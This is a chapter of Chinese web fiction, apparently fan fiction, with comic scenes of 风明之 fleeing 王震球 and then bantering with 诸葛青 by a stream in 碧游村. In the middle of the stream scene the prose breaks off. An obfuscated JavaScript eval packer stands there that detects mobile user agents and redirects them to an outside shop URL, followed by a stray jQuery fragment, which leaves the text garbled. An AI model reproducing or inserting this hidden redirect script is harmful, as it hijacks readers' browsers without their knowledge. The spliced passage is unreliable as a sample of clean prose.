第二天,风明之是被一声声中气十足的鸡叫声硬生生叫醒的。

    她睁开沉重的眼皮,迷茫地看了看陌生的天花板,花了好几秒才想起来自己在哪儿。

    洗漱完出门,风明之站在院子里伸了个懒腰,抬头看了眼天,阳光正好。

    如果不是被绑来的,这地方倒是个养老的好去处。

    她正想着要不要去找点吃的,路过厨房的时候,就看见诸葛青在撩妹。

    风明之站一旁暗中学习了一下,被对方的土味情话恶心得够呛,鸡皮疙瘩掉了一地,隔夜饭差点都没吐出来。

    他知不知道自己在用这张脸做什么啊?!!

    等等。

    风明之摸着下巴,歪头又看了两眼,诸葛青好像还真知道,如果是一张歪瓜裂枣的脸敢这么油腻,这会儿早就被人乱棍打出十里地了。

    风明之“嘶”了一声,眼睛一亮。

    这个主意好啊。

    以后她要是想恶心谁,完全可以照搬诸葛青撩妹的土味情话,保证能把人膈应得三天吃不下饭,杀伤力堪比拖把沾屎。

    诸葛青后脑勺像是长了眼睛似的,忽然偏过头看过来,两人透过半开的窗户对上视线,风明之一下子就猜到了对方的选择。

    诸葛青拒绝了她的交易,选择成为上根器加入碧游村。

    风明之在心里叹了口气,所以还是要下咒吗……

    如果不是没办法了,她是真不想选择这条路。

    就在她满腹心事准备去小溪边静静心,没走多远,眼前就出现了一抹亮眼的黄色头发,风明之条件反射地就往旁边的角落钻。

    关于风明之对黄毛的后遗症,还得从她和郝意的交易说起。

    想知道神格面具究竟是怎么使用信仰的,用西南地区通缉犯的名单做筹码,换了个不用摇号插队和王震球切磋的机会。

    那段时间,风明之算是彻底领悟了一个真理,只有起错的名字,没有叫错的外号。

    西南毒瘤这个外号,简直是为王震球量身定做。

    这人的敏锐程度和好奇心,变态得可怕。缠人,恶心人的手段同样变态得令人发指。打完后,风明之就被这家伙彻底黏上了,她三步之内必有王震球的身影。

    被缠得实在没辙,风明之用尽毕生所学,又是钻下水道,又是坐垃圾车的,好不容易才甩开王震球,连夜逃出四川。

    之前的经历,导致她现在对黄头发产生了严重的应激反应。

    “明明~~”

    拖着长长的尾音,又惊又喜的声音从黄毛嘴中喊出。

    风明之头皮一麻,连头都没敢回,撒腿就跑。

    “哎?!别跑啊明明!”

    “没想到你竟然也在这里,咱俩多久没见了你难道就不想我?我可想死你了!”

    王震球一脸兴奋地冲过来,甩手跟在屁股后面追。

    原本还在隐隐对峙的两拨人,这会儿全停下了,看着两人你追我赶,围着树转圈,刚刚还剑拔弩张的气氛瞬间被两人搅了个精光。

    “人家给你发了那么多消息你都不回,还把人家拉黑了,真是伤透了人家的心~”

    风明之逃跑的速度又快了几分,一边绕着树干疯狂走位,一边咬牙切齿骂道:“王震球你个死变态!你再敢靠近我,我就上总部举报你!”

    王震球非但没有被威胁到,反而像是被激励了,更热情了:“来嘛来嘛,让我看看你长胖了没有~抱一下又不会少块肉!”

    风明之一个急转弯,堪堪躲过那只不老实的手:“你别过来!再过来我动手了!!!”

    回应她的是一串又贱又欠揍的“嘿嘿嘿”的笑声。

    等马仙洪和张楚岚聊完,两人推开门走出来,顿时被眼前的景象震在了原地。

    原本被王震球追着跑的风明之手里抄着块砖头,满脸杀气地反向追着王震球满院子跑。

    临时工和上根器,这会儿已经自动分成了两个阵营,一边一个地靠在墙上,看起了热闹。

    院子里鸡飞狗跳了好一阵,在马仙洪的协助下风明之总算逮住了机会,抡起砖头往他屁股上不轻不重地捶了一下。

    王震球顺势往地上一倒,躺在地上朝风明之抛了个飞吻:“小明还是这么有活力呀。”

    风明之把砖头往地上一丢,浑身散发着杀气,面无表情地回了他一个“滚”字,转身走了。

    *

    风明之坐在溪边的石头上,把脚泡进水里,冰凉的溪水漫过脚踝,泡了一会儿脚,蹲在溪边的石滩上挑挑拣拣,终于挑出几颗又扁又薄的石子。

    她侧过身,右手发力用力一甩,石子在水面勉强跳了两下,扑通一声落进水里。

    就在她准备再试时,一颗石子突然从旁掠过,在水面上轻盈地跳了十几次才没入水中。

    风明之顺着石子来的方向望去,诸葛青站在不远处,笑吟吟地朝她挥手。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17672052|204445||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    自从来了碧游村,谁不知道她天天来小溪这,都快把这里圈成自己的专属地盘了,更何况她们刚刚才打过照面,跑这儿装什么偶遇。

    诸葛青随意坐在一块大石头上,脱掉鞋,赤足浸入清凉的溪水中,喟叹一声:“怪不得你天天往这儿跑,确实舒服。”

    风明之微微眯眼,手中的石子毫不犹豫地扔在他身前,水花溅了他一脸。

    诸葛青抹去脸上的水渍,非但没生气,脸上的笑意反而更浓了。

    风明之见状,立刻警惕地往后退了两步,拉开距离。

    这人难道因为心魔无法突破,压力太大终于还是疯了?

    生怕对方讹上自己,风明之又往后退了两步。

    诸葛青微微睁开眼,他有这么吓人?

    他低头在水面看了眼水中的倒影,抬手理了理被打湿的头发,依旧帅气啊。

    诸葛青收敛神色,语气很认真:“有个问题憋在我心里很久了,可能有点冒昧,但我真的很想知道。”

    “后悔了?”风明之反问,现在求她还不晚。

    诸葛青笑了一下:“我什么时候说后悔了?”

    “那你来干嘛?”

    “来和你谈心啊。”

    风明之盯着他看了一会儿,收回视线:“你想谈什么?”

    “你昨天晚上使的是什么术法?”

    “你猜啊,实在不行你可以算嘛。”

    诸葛青从兜里掏出一沓软妹币,在风明之面前晃了晃。

    一看到钱,风明之整个人直接变了一副面孔,笑容满面地来到诸葛青身边。

    这副谄媚的姿态,吓得诸葛青向后仰了仰。

    风明之一把按住想要起身远离她的诸葛青,将人重新按回石头上,语气温柔得不像话:“诸葛先生,您看啊,外面常规的心理咨询师一小时收费两千。而我只要一千,职业素养绝对在线,保证守口如瓶。”

    她眨了眨眼,笑容要多真诚有多真诚。

    “你知道?”诸葛青微微一怔,随即反应过来,也是,如果不知道怎么会用她师门的手段换他不加入碧游村。

    风明之伸出拇指和食指,掐了个一点点的姿势:“一扭扭。”

    “哦?”诸葛青挑了挑眉,“那不知道这位大师打算用什么疗法?效果不好可以退款吗?”

    风明之:“……”

    不是,仅退款的风,什么时候已经吹到术士界了?